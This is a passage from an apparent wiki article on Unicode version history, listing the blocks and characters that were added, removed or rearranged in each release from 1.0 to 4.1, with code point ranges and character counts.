* '''IPA Extensions''' '''(formerly called Standard Phonetic)''' (U+0250-U+02AF), containing 89 characters.
* '''Spacing Modifier Letters''' '''(formerly called Modifier Letters)''' (U+02B0-U+02FF), containing 57 characters.
* '''Combining Diacritical Marks''' '''(formerly called Generic Diacritical Marks)''' (U+0300-U+036F), containing 66 characters.
* '''Greek and Coptic''' '''(formerly called Greek)''' (U+0370-U+03FF), containing 112 characters.
* '''Cyrillic''' (U+0400-U+04FF), containing 192 characters.
* '''Armenian''' (U+0530-U+058F), containing 84 characters.
* '''Hebrew''' (U+0590-U+05FF), containing 52 characters.
* '''Arabic''' (U+0600-U+06FF), containing 169 characters.
* '''Devanagari''' (U+0900-U+097F), containing 104 characters.
* '''Bengali''' (U+0980-U+09FF), containing 89 characters.
* '''Gurmukhi''' (U+0A00-U+0A7F), containing 74 characters.
* '''Gujarati''' (U+0A80-U+0AFF), containing 75 characters.
* '''Oriya''' (U+0B00-U+0B7F), containing 78 characters.
* '''Tamil''' (U+0B80-U+0BFF), containing 61 characters.
* '''Telugu''' (U+0C00-U+0C7F), containing 80 characters.
* '''Kannada''' (U+0C80-U+0CFF), containing 80 characters.
* '''Malayalam''' (U+0D00-U+0D7F), containing 78 characters.
* '''Thai''' (U+0E00-U+0E7F), containing 92 characters.
* '''Lao''' (U+0E80-U+0EFF), containing 70 characters.
* '''Tibetan''' (U+1000-U+105F), containing 71 characters.
* '''Georgian''' (U+10A0-U+10FF), containing 78 characters.
* '''General Punctuation''' (U+2000-U+206F), containing 67 characters.
* '''Superscripts and Subscripts''' (U+2070-U+209F), containing 28 characters.
* '''Currency Symbols''' (U+20A0-U+20CF), containing 11 characters.
* '''Combining Marks for Symbols''' '''(formerly called Diacritical Marks for Symbols)''' (U+20D0-U+20FF), containing 18 characters.
* '''Letterlike Symbols''' (U+2100-U+214F), containing 57 characters.
* '''Number Forms''' (U+2150-U+218F), containing 48 characters.
* '''Arrows''' (U+2190-U+21FF), containing 91 characters.
* '''Mathematical Operators''' (U+2200-U+22FF), containing 242 characters.
* '''Miscellaneous Technical''' (U+2300-U+23FF), containing 43 characters.
* '''Control Pictures''' '''(formerly called Pictures for Control Codes)''' (U+2400-U+243F), containing 37 characters.
* '''Optical Character Recognition''' (U+2440-U+245F), containing 11 characters.
* '''Enclosed Alphanumerics''' (U+2460-U+24FF), containing 139 characters.
* '''Box Drawing''' '''(formerly called Form and Chart Components)''' (U+2500-U+257F), containing 128 characters.
* '''Block Elements''' '''(formerly called Blocks)''' (U+2580-U+259F), containing 22 characters.
* '''Geometric Shapes''' (U+25A0-U+25FF), containing 79 characters.
* '''Miscellaneous Symbols''' '''(formerly called Miscellaneous Dingbats)''' (U+2600-U+26FF), containing 106 characters.
* '''Dingbats''' '''(formerly called Zapf Dingbats)''' (U+2700-U+27BF), containing 160 characters.
* '''CJK Symbols and Punctuation''' (U+3000-U+303F), containing 56 characters.
* '''Hiragana''' (U+3040-U+309F), containing 90 characters.
* '''Katakana''' (U+30A0-U+30FF), containing 90 characters.
* '''Bopomofo''' (U+3100-U+312F), containing 40 characters.
* '''Hangul Compatibility Jamo (formerly called Hangul Elements)''' (U+3130-U+318F), containing 94 characters.
* '''Kanbun (formerly called CJK Miscellaneous)''' (U+3190-U+31FF), containing 16 characters.
* '''Enclosed CJK Letters and Months''' '''(formerly called''' '''Enclosed CJK Letters and Ideographs)''' (U+3200-U+32FF), containing 191 characters.
* '''CJK Compatibility''' '''(formerly called CJK Squared Words for U+3300-U+337F and CJK Squared Abbreviations for U+3380-33FF)''' (U+3300-U+33FF), containing 187 characters.
* '''Hangul''' (U+3400-U+3D2D), containing 2,350 characters.
* '''Private Use Area''' (U+E000-U+FDFF), reserved for 5,632 characters.
* '''CJK Compatibility Forms''' '''(formerly called CNS 11643 Compatibility)''' (U+FE30-U+FE4F), containing 28 characters.
* '''Small Form Variants''' '''(formerly called Small Variants)''' (U+FE50-U+FE6F), containing 26 characters.
* '''Arabic Presentation Forms-B''' '''(formerly called Basic Glyphs for Arabic Language)''' (U+FE70-U+FEFF), containing 140 characters.
* '''Halfwidth and Fullwidth Forms''' '''(formerly called Halfwidth and Fullwidth Variants)''' (U+FF00-U+FFEF), containing 216 characters.
* '''Specials''' '''(formerly called Special)''' (U+FFF0-U+FFFF), containing 1 character.

== Unicode 1.0.1 ==
Unicode 1.0.1 was released June 1992. It encoded 28,292 characters, adding 21,204 new characters and removing 6 characters, for a net increase of 21,198 characters.

=== New blocks ===

* '''CJK Unified Ideographs''' (U+4E00-U+9FFF), containing 20,902 Han Ideographs for Chinese, Japanese and Korean, was added.
* '''CJK Compatibility Ideographs''' (U+F900-U+FAFF), containing 302 Han Ideographs for compatibility with existing character sets, was added.

=== Removed characters ===
* Letters Ka and Kha with Ogonek (total 4 characters) were removed from '''Cyrillic'''. (U+04C5-U+04C6 and U+04C9-U+04CA)
* APL Compose Operator and APL Out (total 2 characters) were removed from '''Miscellaneous Technical'''. (U+2300-U+2301)

=== Rearranged characters ===
* A Japanese Industrial Standard symbol (〄) was moved from '''Enclosed CJK Letters and Months''' (U+32FF) to '''CJK Symbols and Punctuation'''. (U+3004)
*'''Circled Katakana:''' ''The characters well be arranged in modern order: e.g., A, I, U, E, O, KA, KI'' (U+32D0-U+32FE)
*'''Basic Glyphs For Arabic Language:''' ''The character shapes will be arranged in different order: Isolate, Final, Initial and Medial'' (U+FE80-FEFC)

=== Characters with semantics changed ===
*'''Zero Width Non-Joiner''' [ZWNJ] (U+20DC)

*'''Zero Width Joiner''' [ZWJ] (U+20DD)

== Unicode 1.1 ==

Unicode 1.1 was released June 1993. It encoded 34,168 characters, adding 5,969 new characters and removing 93 characters, for a net increase of 5,876 characters. It finalized the long anticipated Han Unification.

=== New blocks ===

* '''Hangul Jamo''' (U+1100-U+11FF), containing 240 ''jamo'' for the Hangul script, was added.
* '''Latin Extended Additional''' (U+1E00-U+1EFF), containing 245 precomposed characters for transliteration and Vietnamese, was added.
* '''Greek Extended''' (U+1F00-U+1FFF), containing 233 precomposed characters for polytonic Greek, was added.
* '''Hangul Supplementary-A''' (U+3D2E-U+44B7), containing 1,930 precomposed syllables for the Hangul script, was added.
* '''Hangul Supplementary-B''' (U+44B8-U+4DFF), containing 2,376 precomposed syllables for the Hangul script, was added.
* '''Alphabetic Presentation Forms''' (U+FB00-U+FB4F), containing 57 precomposed characters and ligatures, was added.
* '''Arabic Presentation Forms-A''' (U+FB50-U+FDFF), containing 593 combinations of Arabic letters, was added.
* '''Combining Half Marks''' (U+FE20-U+FE2F), containing 4 halves of diacritical marks, was added.

=== Extended blocks ===

* The long S (ſ) (total 1 character) was added to '''Latin Extended-A'''. (U+017F)
* The Hungarian Dz, characters for transliteration purposes and precomposed characters with double grave and inverted breve (total 35 characters) were added to '''Latin Extended-B''' (U+01F1-U+01F5 and U+01FA-U+0217). The block was expanded from (U+0180-U+01FF) to (U+0180-U+024F)
* Diacritics for polytonic Greek and double width diacritics (total 6 characters) were added to '''Combining Diacritical Marks'''. (U+0342-U+0345 and U+0360-U+0361)
* Compatibility character now deprecated, Ano Teleia, and other characters (total 5 characters) were added to '''Greek and Coptic''' (U+0374-U+0375, U+037A, U+037E and U+0387).
* Additional characters for non-Slavic languages (total 38 characters) were added to '''Cyrillic'''. (U+04D0-U+04EB, U+04EE-U+04F5 and U+04F8-U+04F9)
* A ligature of Ech and Yiwn (և) (total 1 character) was added to '''Armenian'''. (U+0587)
* One deprecated compatibility character and several characters for biblical texts (total 25 characters) were added to '''Arabic'''. (U+066D and U+06D6-U+06ED)
* A sign Virama (total 1 character) was added to '''Gurmukhi''' (U+0A4D).
* Letters Candra O and E (total 3 characters) were added to '''Gujarati'''. (U+0A8D, U+0A91 and U+0AC9)
* An Ai Length mark (total 1 character) was added to '''Oriya'''. (U+0B56)
* An undertie, a pair of brackets and six formatting characters now deprecated (total 9 characters) were added to '''General Punctuation'''. (U+203F, U+2045-U+2046 and U+206A-U+206F)
* Some additional symbols and the complete set of APL functional symbols (total 79 characters) were added to '''Miscellaneous Technical'''. (U+2300 and U+232D-U+237A)
* A large circle (◯) (total 1 character) was added to '''Geometric Shapes'''. (U+25EF)
* The ideographic telegraph line feed separator symbol (〷) (total 1 character) was added to '''CJK Symbols and Punctuation'''. (U+3037)
* Four Katakana letters not in use since 1945 (total 4 characters) were added to '''Katakana'''. (U+30F7-U+30FA)
* Ideographic telegraph symbols for the twelve months (total 12 characters) were added to '''Enclosed CJK Letters and Months'''. (U+32C0-U+32CB)
* Ideographic telegraph symbols for hours and days and six additional measure units (total 62 characters) were added to '''CJK Compatibility'''. (U+3358-U+3376 and U+33E0-U+33FE)
* Some more space (total 2,304 characters) was added to the '''Private Use Area'''.
* Seven halfwidth geometric shapes (total 7 characters) were added to '''Halfwidth and Fullwidth Forms'''. (U+FFE8-U+FFEE)

=== Removed blocks ===
* '''Tibetan''', containing 71 letters for the Tibetan script, was removed from the Unicode standard.

=== Removed characters ===
* A total of 10 characters were removed from '''Greek and Coptic'''. (U+0370-U+0372, U+03D7-U+03D9, U+03DB, U+03DD, U+03DF, and U+03E1)
* Point Varika (total 1 character) was removed from ''Hebrew''. (U+05F5)
* Phonetic Order Vowel Signs (total 5 characters) were removed from '''Thai'''. (U+0E70-U+0E74)
* Phonetic Order Vowel Signs (total 5 characters) were removed from '''Lao'''. (U+0EF0-U+0EF4)
* An Ideographic Ditto Mark (total 1 character) was removed from '''CJK Symbols and Punctuation''' (U+3004) and merged with CJK Unified Ideograph-4EDD.

=== Rearranged characters ===
* Greek character U+03F3 was changed from Spacing Tonos to Letter Yot.
* A Japanese Industrial Standard symbol (〄) was moved from '''Enclosed CJK Letters and Months''' (U+32FF) to '''CJK Symbols and Punctuation'''. (U+3004)

== Unicode 2.0 ==

Unicode 2.0 was released July 1996. It encoded 38,885 characters, adding 11,373 new characters and removing 6,656 characters, for a net increase of 4,717 characters. This was the first Unicode version to reserve blocks outside of the Basic Multilingual Plane.

=== New blocks ===

* '''Hangul Syllables''' (U+AC00-U+D7AF), containing 11,172 precomposed syllables for the Hangul script, was added.
* '''High Surrogates''' (U+D800-U+DB7F), setting aside 896 codepoints for encoding UTF-16 surrogate pairs, was added.
* '''High Private Use Surrogates''' (U+DB80-U+DBFF), setting aside 128 codepoints for encoding UTF-16 surrogate pairs, was added.
* '''Low Surrogates''' (U+DC00-U+DFFF), setting aside 1,024 codepoints for encoding UTF-16 surrogate pairs, was added.
* '''Supplementary Private Use Area-A''' (U+F0000-U+FFFFF), reserving 65,534 characters for private use, was added.
* '''Supplementary Private Use Area-B''' (U+100000-U+10FFFF), reserving 65,534 characters for private use, was added.

=== Reinstated blocks ===

* '''Tibetan''' (U+0F00-U+0FFF), now containing 168 characters for the Tibetan script including religious signs, was readded.

=== Removed blocks ===

* '''Hangul''', containing 2,350 precomposed syllables for the Hangul script, was removed from the Unicode standard.
* '''Hangul Supplementary-A''', containing 1,930 precomposed syllables for the Hangul script, was removed from the Unicode standard.
* '''Hangul Supplementary-B''', containing 2,376 precomposed syllables for the Hangul script, was removed from the Unicode standard.

=== Extended blocks ===

* Cantillation marks for use in religious texts (total 31 characters) were added to '''Hebrew'''. (U+0591-U+05A1, U+05A3-U+05AF and U+05C4)
* A long S with Dot Above (total 1 character) was added to '''Latin Extended Additional'''. (U+1E9B)
* A Vietnamese Dong sign (total 1 character) was added to '''Currency Symbols'''. (U+20AB)

== Unicode 2.1 ==

Unicode 2.1 was released May 1998. It encoded 38,887 characters, adding only 2 new characters.

=== Extended blocks ===

* A Euro sign (total 1 character) was added to '''Currency Symbols'''. (U+20AC)
* An Object Replacement Character (total 1 character) was added to '''Specials'''. (U+FFFC)

== Unicode 3.0 ==

Unicode 3.0 was released September 1999. It was a big update and encoded 49,194 characters, adding 10,307 new characters.

=== New blocks ===

* '''Syriac''' (U+0700-U+074F), containing 71 characters used for writing in Syriac script, was added.
* '''Thaana''' (U+0780-U+07BF), containing 49 characters used for writing in Thaana script, was added.
* '''Sinhala''' (U+0D80-U+0DFF), containing 80 characters for the Sinhala script, was added.
* '''Myanmar''' (U+1000-U+109F), containing 78 characters for the Burmese script, was added.
* '''Ethiopic''' (U+1200-U+137F), containing 345 syllables and punctuation marks for the Ethiopic script, was added.
* '''Cherokee''' (U+13A0-U+13FF), containing 85 syllables for the Cherokee script, was added.
* '''Unified Canadian Aboriginal Syllabics''' (U+1400-U+167F), containing 630 syllables and punctuation marks for writing in indigenous languages of Canada, was added.
* '''Ogham''' (U+1680-U+169F), containing 29 characters for the ancient Ogham script, was added.
* '''Runic''' (U+16A0-U+16FF), containing 81 characters for the Germanic runes, was added.
* '''Khmer''' (U+1780-U+17FF), containing 103 characters for the Khmer script, was added.
* '''Mongolian''' (U+1800-U+18AF), containing 155 characters for the classical Mongolian script, was added.
* '''Braille Patterns''' (U+2800-U+28FF), containing 256 Braille letters, was added.
* '''CJK Radicals Supplement''' (U+2E80-U+2EFF), containing 115 non-Kangxi radicals, was added.
* '''Kangxi Radicals''' (U+2F00-U+2FDF), containing 214 radicals from the Kangxi dictionary, was added.
* '''Ideographic Description Characters''' (U+2FF0-U+2FFF), containing 12 characters used to describe a Han ideograph not available in the font, was added.
* '''Bopomofo Extended''' (U+31A0-U+31BF), containing 24 characters used for phonetic transcription of minority languages of Taiwan, was added.
* '''CJK Unified Ideographs Extension A''' (U+3400-U+4DBF), containing 6,582 additional Han Ideographs, was added.
* '''Yi Syllables''' (U+A000-U+A48F), containing 1,165 syllables of the modern Yi script, was added.
* '''Yi Radicals''' (U+A490-U+A4CF), containing 50 radicals of Yi Syllables, was added.

=== Extended blocks ===

* Additional precomposed characters, letters and capital letters of lowercase-only letters (total 30 characters) were added to '''Latin Extended-B'''. (U+01F6-U+01F9, U+0218-U+021F and U+0222-U+0233)
* Extensions for disordered speech (total 5 characters) were added to '''IPA Extensions'''. (U+02A9-U+02AD)
* Some additional modifier letters (total 6 characters) were added to '''Spacing Modifier Letters'''. (U+02DF and U+02EA-U+02EE)
* Additional combining diacritics for IPA (total 10 characters) were added to '''Combining Diacritical Marks'''. (U+0346-U+034E and U+0362)
* Lowercase versions of archaic letters and the Kai symbol (total 5 characters) were added to '''Greek and Coptic'''. (U+03D7, U+03DB, U+03DD, U+03DF and U+03E1)
* Nonstandard letters for Macedonian, combining numeral signs and three letters for Kildin Sami (total 12 characters) were added to '''Cyrillic'''. (U+0400, U+040D, U+0450, U+045D, U+0488-U+0489, U+048C-U+048F and U+04EC-U+04ED)
* A Hyphen (total 1 character) was added to '''Armenian'''. (U+058A)
* Combining hamza and maddah and nine additional Arabic characters (total 12 characters) were added to '''Arabic'''. (U+0653-U+0655, U+06B8-U+06B9, U+06BF, U+06CF and U+06FA-U+06FE)
* Additional letters and religious symbols (total 25 characters) were added to '''Tibetan'''. (U+0F6A, U+0F96, U+0FAE-U+0FB0, U+0FB8, U+0FBA-U+0FBC, U+0FBE-U+0FCC and U+0FCF)
* A narrow no-break space and 6 additional punctuation marks (total 7 characters) were added to '''General Punctuation'''. (U+202F and U+2048-U+204D)
* The Kip, Tugrik and Drachma sign (total 3 characters) were added to '''Currency Symbols'''. (U+20AD-U+20AF)
* An enclosing screen and an enclosing key (total 2 characters) were added to '''Combining Diacritical Marks for Symbols'''. (U+20E2-U+20E3)
* The information symbol and a rotated Q (total 2 characters) were added to '''Letterlike Symbols'''. (U+2139-U+213A)
* A mirrored Roman capital numeral hundred (Ↄ) (total 1 character) was added to '''Number Forms'''. (U+2183)
* Some additional arrows (total 9 characters) were added to '''Arrows'''. (U+21EB-U+21F3)
* Some additional technical symbols, including common keys on a 101 keyboard (total 33 characters) were added to '''Miscellaneous Technical'''. (U+2301, U+237B and U+237D-U+239A)
* Two additional control pictures (total 2 characters) were added to '''Control Pictures'''. (U+2425-U+2426)
* Squares and circles with quadrants (total 8 characters) were added to '''Geometric Shapes'''. (U+25F0-U+25F7)
* Two Syriac crosses and a signature mark (total 3 characters) were added to '''Miscellaneous Symbols'''. (U+2619 and U+2670-U+2671)
* Three Hangzhou numerals and a variation indicator (total 4 characters) were added to '''CJK Symbols and Punctuation'''. (U+3038-U+303A and U+303E)
* A ligature Yod with Hiriq (יִ) (total 1 character) was added to '''Alphabetic Presentation Forms'''. (U+FB1D)
* Three additional control characters for ruby markup (total 3 characters) were added to '''Specials'''. (U+FFF9-U+FFFB)

== Unicode 3.1 ==

Unicode 3.1 was released March 2001. It encoded 94,140 characters, adding 44,946 new characters, and mainly focused on blocks outside of the Basic Multilingual Plane.

=== New blocks ===

* '''Old Italic''' (U+10300-U+1032F), containing 35 letters for the Etruscan script, was added.
* '''Gothic''' (U+10330-U+1034F), containing 27 letters for the Gothic script, was added.
* '''Deseret''' (U+10400-U+1044F), containing 76 letters for the constructed Deseret script, was added.
* '''Byzantine Musical Symbols''' (U+1D000-U+1D0FF), containing 246 symbols for musical notation in Byzantine, was added.
* '''Musical Symbols''' (U+1D100-U+1D1FF), containing 219 characters for current musical notation, was added.
* '''Mathematical Alphanumeric Symbols''' (U+1D400-U+1D7FF), containing 991 Latin and Greek letters in serif, sans-serif, bold, italic, double-struck, script and Fraktur/Blackletter, was added.
* '''CJK Unified Ideographs Extension B''' (U+20000-U+2A6DF), containing 42,711 additional Chinese Ideographs, was added.
* '''CJK Compatibility Ideographs Supplement''' (U+2F800-U+2FA1F), containing 542 additional Chinese Ideographs for compatibility purposes, was added.
* '''Tags''', containing 97 language tags, was added. (U+E0000-U+E007F)

=== Extended noncharacters ===

* The Noncharacters range: U+FDD0..U+FDEF were added to '''Arabic Presentation Forms-A'''.

=== Extended blocks ===

* The capital Theta symbol and the Lunate Epsilon symbol (total 2 characters) were added to '''Greek and Coptic'''. (U+03F4-U+03F5)

=== Characters and Scripts Under Investigation or Rejected ===
* Khmer Sign Laak Was Rejected. (U+17DD) From '''Khmer.'''
* Georgian Letter U-Brjuu Was Rejected. From '''Georgian.'''

== Unicode 3.2 ==

Unicode 3.2 was released March 2002. It encoded 95,156 characters, adding 1,016 new characters.

=== New blocks ===

* '''Cyrillic Supplementary (now Cyrillic Supplement)''' (U+0500-U+052F), containing 16 characters used for the Komi language, was added.
* '''Tagalog''' (U+1700-U+171F), containing 20 characters for the Baybayin script, was added.
* '''Hanunoo''' (U+1720-U+173F), containing 23 characters and punctuation for the Hanunó'o script, was added.
* '''Buhid''' (U+1740-U+175F), containing 20 characters for the Buhid script, was added.
* '''Tagbanwa''' (U+1760-U+177F), containing 18 characters for the Tagbanwa script, was added.
* '''Miscellaneous Mathematical Symbols-A''' (U+27C0-U+27EF), containing 28 symbols used in math notation, was added.
* '''Supplemental Arrows-A''' (U+27F0-U+27FF), containing 16 additional arrows, was added.
* '''Supplemental Arrows-B''' (U+2900-U+297F), containing 128 special arrows, was added.
* '''Miscellaneous Mathematical Symbols-B''' (U+2980-U+29FF), containing 128 additional mathematical symbols, was added.
* '''Supplemental Mathematical Operators''' (U+2A00-U+2AFF), containing 256 additional mathematical operators, was added.
* '''Katakana Phonetic Extensions''' (U+31F0-U+31FF), containing 16 Katakana letters used for Ainu, was added.
* '''Variation Selectors''' (U+FE00-U+FE0F), containing 16 symbols used for indicating variations, was added.

=== Extended blocks ===

* A capital letter N with Long Right Leg (total 1 character) was added to '''Latin Extended-B'''. (U+0220)
* The combining grapheme joiner and combining Latin letters used in medieval texts (total 14 characters) were added to '''Combining Diacritical Marks'''. (U+034F and U+0363-U+036F)
* The Qoppa and a reversed lunate epsilon symbol (total 3 characters) were added to '''Greek and Coptic'''. (U+03D8-U+03D9 and U+03F6)
* Four additional letters used for the Kildin Sami language (total 8 characters) were added to '''Cyrillic'''. (U+048A-U+048B, U+04C5-U+04C6, U+04C9-U+04CA and U+04CD-U+04CE)
* A dotless Beh and a dotless Qaf (total 2 characters) were added to '''Arabic'''. (U+066E-U+066F)
* A Letter for Addu dialect (total 1 character) was added to '''Thaana'''. (U+07B1)
* The letters Yn and Elifi (total 2 characters) were added to '''Georgian'''. (U+10F7-U+10F8)
* Some additional punctuation marks and control characters (total 12 characters) were added to '''General Punctuation'''. (U+2047, U+204E-U+2052, U+2057 and U+205F-U+2063)
* A superscript letter I (total 1 character) was added to '''Superscripts and Subscripts'''. (U+2071)
* German Penny and Peso sign (total 2 characters) were added to '''Currency Symbols'''. (U+20B0-U+20B1)
* Some additional combining characters (total 7 characters) were added to '''Combining Diacritical Marks for Symbols'''. (U+20E4-U+20EA)
* Some double-struck and reversed/turned letters (total 15 characters) were added to '''Letterlike Symbols'''. (U+213D-U+214B)
* Some additional arrows (total 12 characters) were added to '''Arrows'''. (U+21F4-U+21FF)
* Some additional mathematical operators (total 14 characters) were added to '''Mathematical Operators'''. (U+22F2-U+22FF)
* Variable-width and additional symbols (total 53 characters) were added to '''Miscellaneous Technical'''. (U+237C and U+239B-U+23CE)
* Black and double circled numerals (total 20 characters) were added to '''Enclosed Alphanumerics'''. U+24EB-U+24FE)
* Quadrant elements (total 10 characters) were added to '''Block Elements'''. (U+2596-U+259F)
* Some additional triangles and squares (total 8 characters) were added to '''Geometric Shapes'''. (U+25F8-U+25FF)
* Shogi pieces ,recycling symbols, dices and dotted circles (total 24 characters) were added to '''Miscellaneous Symbols'''. (U+2616-U+2617, U+2672-U+267D and U+2680-U+2689)
* Additional parenthesis (total 14 characters) were added to '''Dingbats'''. (U+2768-U+2775)
* Three additional marks (total 3 characters) were added to '''CJK Symbols and Punctuation'''. (U+303B-U+303D)
* A digraph and two additional characters (total 3 characters) were added to '''Hiragana'''. (U+3095-U+3096 and U+309F)
* A digraph and a double hyphen (total 2 characters) were added to '''Katakana'''. (U+30A0 and U+30FF)
* Additional circled numerals (total 30 characters) were added to '''Enclosed CJK Letters and Months'''. (U+3251-U+325F and U+32B1-U+32BF
* Five missing radicals (total 5 characters) were added to '''Yi Radicals'''. (U+A4A2-U+A4A3, U+A4B4, U+A4C1, U+A4C5)
* Additional compatibility characters (total 59 characters) were added to '''CJK Compatibility Ideographs'''. (U+FA30-U+FA6A)
* A Rial sign (total 1 character) was added to '''Arabic Presentation Forms-A'''. (U+FDFC)
* Two sesame dots (total 2 characters) were added to '''CJK Compatibility Forms'''. (U+FE45-U+FE46)
* A tail fragment (total 1 character) was added to '''Arabic Presentation Forms-B'''. (U+FE73)
* A pair of double parenthesis (total 2 characters) was added to '''Halfwidth and Fullwidth Forms'''. (U+FF5F-U+FF60)

== Unicode 4.0 ==

Unicode 4.0 was released April 2003. It encoded 96,382 characters, adding 1,226 new characters.

=== New blocks ===

* '''Limbu''' (U+1900-U+194F), containing 66 characters for the Limbu abugida, was added.
* '''Tai Le''' (U+1950-U+197F), containing 35 letters for the Tai Le script, was added.
* '''Khmer Symbols''' (U+19E0-U+19FF), containing 32 symbols for the lunar calendar, was added.
* '''Phonetic Extensions''' (U+1D00-U+1D7F), containing 108 letters used in phonetic transcription, was added.
* '''Miscellaneous Symbols and Arrows''' (U+2B00-U+2BFF), containing 14 additional arrows, was added.
* '''Yijing Hexagram Symbols''' (U+4DC0-U+4DFF), containing 64 hexagrams, was added.
* '''Linear B Syllabary''' (U+10000-U+1007F), containing 88 syllables of the ancient Linear B script, was added.
* '''Linear B Ideograms''' (U+10080-U+100FF), containing 123 ideograms of the ancient Linear B script, was added.
* '''Aegean Numbers''' (U+10100-U+1013F), containing 57 numerals used in the Aegean area, was added.
* '''Ugaritic''' (U+10380-U+1039F), containing 31 characters used in Ugaritic cuneiform, was added.
* '''Shavian''' (U+10450-U+1047F), containing 48 letters used for the artificial Shavian script, was added.
* '''Osmanya''' (U+10480-U+104AF), containing 40 characters used in the artificial Osmanya script, was added.
* '''Cypriot Syllabary''' (U+10800-U+1083F), containing 55 characters formerly used on Cyprus, was added.
* '''Tai Xuan Jing Symbols''' (U+1D300-U+1D35F), containing 87 symbols of Tai Xuan Jing, was added.
* '''Variation Selectors Supplement''' (U+E0100-U+E01EF), containing 240 additional variation selectors, was added.

=== Extended blocks ===

* Letters with curl used in Sinology (total 4 characters) were added to '''Latin Extended-B'''. (U+0221, U+0234-U+0236)
* Former IPA letters (total 2 characters) were added to '''IPA Extensions'''. (U+02AE-U+02AF)
* Some additional characters (total 17 characters) were added to '''Spacing Modifier Letters'''. (U+02EF-U+02FF)
* Additional combining double-width diacritics and diacritics corresponding to their spacing equivalent (total 11 characters) were added to '''Combining Diacritical Marks'''. (U+0350-U+0357, U+035D-U+035F)
* The archaic letters Sho and San and the capital Lunate Sigma (total 5 characters) were added to '''Greek and Coptic'''. (U+03F7-U+03FB)
* Some additional markers, biblical signs, and letters with inverted V (total 19 characters) were added to '''Arabic'''. (U+0600-U+0603, U+060D-U+0615, U+0656-U+0658, U+06EE-U+06EF, U+06FF)
* Letters used for foreign words from Persian and Sogdian (total 6 characters) were added to '''Syriac'''. (U+072D-U+072F, U+074D-U+074F)
* The short A (ऄ) (total 1 character) was added to '''Devanagari'''. (U+0904)
* The Avagraha sign (ঽ) (total 1 character) was added to '''Bengali'''. (U+09BD)
* The Adak Bindi and Visarga signs (total 2 characters) were added to '''Gurmukhi'''. (U+09BD)
* The vocalic l and ll and the Rupee sign (total 5 characters) were added to '''Gujarati'''. (U+0A01, U+0A03)
* The letters Va and Wa (total 2 characters) were added to '''Oriya'''. (U+0B35, U+0B71)
* Additional signs for date and finance environments (total 8 characters) were added to '''Tamil'''. (U+0BF3-U+0BFA)
* The Nukta and Avagraha signs (total 2 characters) were added to '''Kannada'''. (U+0CBC-U+0CBD)
* Some symbols and signs (total 11 characters) were added to '''Khmer'''. (U+17DD, U+17F0-U+17F9)
* An inverted undertie and a swung dash (total 2 characters) were added to '''General Punctuation'''. (U+2053-U+2054)
* The facsimile sign (℻) (total 1 character) was added to '''Letterlike Symbols'''. (U+213B)
* The eject symbol and a vertical line (total 2 characters) were added to '''Miscellaneous Technical'''. (U+23CF-U+23D0)
* A black circled digit zero (⓿) (total 1 character) was added to '''Enclosed Alphanumerics'''. (U+24FF)
* Monograms and diagrams, flags, warning and weather symbols and a cup of tea (total 12 characters) were added to '''Miscellaneous Symbols'''. (U+2614-U+2615, U+2690-U+2691, U+26A0-U+26A1)
* Additional parenthesized and circled Korean characters and supplemental signs (total 9 characters) were added to '''Enclosed CJK Letters and Months'''. (U+321D-U+321E, U+3250, U+327C-U+327D, U+32CC-U+32CF)
* Additional measure units (total 7 characters) were added to '''CJK Compatibility'''. (U+3377-U+337A, U+33DE-U+33DF, U+33FF)
* An additional Arabic sign (﷽) (total 1 character) was added to '''Arabic Presentation Forms-A'''. (U+FDFD)
* A pair of vertical parenthesis (total 2 characters) was added to '''CJK Compatibility Forms'''. (U+FE47-U+FE48)
* The letters Oi and Ew (total 4 characters) were added to '''Deseret'''. (U+10426-U+10427, U+1044E-U+1044F)
* A small script l (ℓ) (total 1 character) was added to '''Mathematical Alphanumeric Symbols'''. (U+1D4C1)

== Unicode 4.1 ==

Unicode 4.1 was released March 31, 2005. It encoded 97,655 characters, adding 1,273 new characters.

=== New blocks ===

* '''Arabic Supplement''', containing 30 characters for various languages written with the Arabic script, was added.
* '''Ethiopic Supplement''', containing 26 characters and signs for Sebatbeit, was added.
* '''New Tai Lue''', containing 80 characters for the New Tai Lue script, was added.
* '''Buginese''', containing 30 characters for the Lontara script, was added.
* '''Phonetic Extensions Supplement''', containing 64 additional letters for phonetic transcription, was added.
* '''Combining Diacritical Marks Supplement''', containing 4 additional diacritics, was added.
* '''Glagolitic''', containing 94 characters for the Glagolitic script, was added.
* '''Coptic''', containing 114 characters for the Coptic script, was added.
* '''Georgian Supplement''', containing 38 Nuskhuri letters, was added.
* '''Tifinagh''', containing 55 characters for the Tifinagh script, was added.
* '''Ethiopic Extended''', containing 79 additional Ethiopic syllables, was added.
* '''Supplemental Punctuation''', containing 26 additional punctuation marks, was added.
* '''CJK Strokes''', containing 16 strokes for Han Ideographs, was added.
* '''Modifier Tone Letters''', containing 23 letters for Chinese tones, was added.
* '''Syloti Nagri''', containing 44 characters for the Syloti Nagri abugida, was added.
* '''Vertical Forms''', containing 10 punctuation marks suited for vertical text, was added.
* '''Ancient Greek Numbers''', containing 75 numerals and signs used in Ancient Greek, was added.
* '''Old Persian''', containing 50 characters for Old Persian cuneiform, was added.
* '''Kharoshthi''', containing 65 characters for the Kharoshthi abugida, was added.
* '''Ancient Greek Musical Notation''', containing 70 musical signs used in Ancient Greek, was added.

=== Extended blocks ===

* Letters for Sencoten, digraphs, letters with swash tail and other additions (total 11 characters) were added to '''Latin Extended-B'''.
* Additional diacritics for transliteration (total 5 characters) were added to '''Combining Diacritical Marks'''.
* Rho with stroke, reversed and dotted Lunate Sigma (total 4 characters) were added to '''Greek and Coptic'''.
* Ghe with descender (Ӷ) (total 2 characters) was added to '''Cyrillic'''.
* An additional biblical mark and some punctuation marks (total 4 characters) were added to '''Hebrew'''.
* Additional biblical marks, punctuation marks and the Afghani sign (total 8 characters) were added to '''Arabic'''.
* A glottal stop (ॽ) (total 1 character) was added to '''Devanagari'''.
* The Khanda Ta letter (ৎ) (total 1 character) was added to '''Bengali'''.
* The letter Sha and the digit zero (total 2 characters) were added to '''Tamil'''.
* Two marks used in Bhutan (total 2 characters) were added to '''Tibetan'''.
* Two letters and a modifier letter (total 3 characters) were added to '''Georgian'''.
* Some additional syllables (total 11 characters) were added to '''Ethiopic'''.
* Additional phonetic symbols (total 20 characters) were added to '''Phonetic Extensions'''.
* A flower and dot punctuation marks (total 9 characters) were added to '''General Punctuation'''.
* Additional subscript letters (total 5 characters) were added to '''Superscripts and Subscripts'''.
* The Guarani, Austral, Hryvnia and Cedi signs (total 4 characters) were added to '''Currency Symbols'''.
* A combining long double solidus (total 1 character) was added to '''Combining Diacritical Marks for Symbols'''.
